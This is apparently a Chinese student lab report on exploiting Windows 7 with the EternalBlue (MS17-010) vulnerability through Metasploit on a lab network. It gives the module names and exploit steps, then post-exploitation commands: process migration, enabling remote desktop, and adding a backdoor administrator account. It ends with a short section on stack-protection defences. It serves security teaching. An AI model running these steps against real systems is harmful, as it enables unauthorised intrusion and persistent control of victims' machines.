实验五 缓冲区溢出攻击
一、实验目的
Metasploit永恒之蓝攻击win7
缓冲区溢出攻击
实验环境:kali IP:192.168.91.129
1 启动 Metasploit
没有出错,成功
2.漏洞测试
2.1在在控制台输入 search 17-010 搜索 cve17-010 相关的 exp
可以看到测试用的模块
1 auxiliary/scanner/smb/smb_ms17_010
攻击用的模块:
2 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
3 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
4exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2.2使用扫描测试模块
Use auxiliary/scanner/smb/smb_ms17_010
2.3指定需要设置的主机
Set rhosrs
2.4测试实施
Exploit
3攻击
3.1攻击步骤
use exploit/windows/smb/ms17_010_eternalblue
设置目标 ip 地址
攻击
可以看到攻击成功。
输入 ipconfig 或者 sysinfo 可以看到,得到的 ip 地址为目标主机的 ip,从而验证了攻击
成功。
3.2攻击后续
3.2.1进程迁移
在刚获得 Meterpreter Shell 时,该 Shell 是极其脆弱和易受攻击的,例如攻击者可以利
用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移
动这个 Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入
操作。这样做使得渗透更难被检测到。
使用自动迁移进程命令(run post/windows/manage/migrate)后,系统会自动寻找合适的
进程然后迁移,如图所示。
输入run post/windows/manage/enable_rdp命令启动目标机的远程桌面协议,也就是常说
的 3389 端口。
输入 run post/windows/gather/enum_logged_on_users 命令列举当前有多少用户登陆了
目标机。
输入 shell 命令进入目标机 shell 下面(退出 shell 使用 exit 命令),然后在目标主机新建
一个账号:
net user kali kali /add
把改用户加入到管理员组: net localgroup administrators kali /add
然后就可以使用远程桌面连接到目标主机
三、实验结论
Kali攻击win7利用永恒之蓝漏洞是可以实现的,但是在攻击过程中,可能会出现“Exploit completed, but no session was created.”这个问题,老师说这是因为没有攻击成功,我在网上也进行搜索,并没有找到解决办法,所以我换了一个版本的win7,完成了实验。
四、思考题
从哪些方面避免缓冲区溢出攻击?
1.stack guard
stack guard方法,是gcc所支持的一种方法(对应选项为-fstack-protector)。此种方法在堆栈中插入一个探测值。若利用缓冲区溢出来改写返回地址的话,通常也会覆盖这个探测值,编译器在编译函数时,分别在函数的入口处生成探测值,出口处比较探测值,通过探测值的被改动与否来判断是否有缓冲区溢出攻击的发生。
2. stack shield
stack shield方法在程序运行时,使用数组来备份返回地址,这样即使用户通过缓冲区溢出攻击手段修改了栈帧中的返回地址,但是很难改变数组中所备份的返回地址。因此,可以通过比较数组中的返回地址和堆栈中的返回地址的不同来判断是否有缓冲区溢出攻击的发生,或者直接使用数组中保存的返回地址,来保证程序正常的控制流。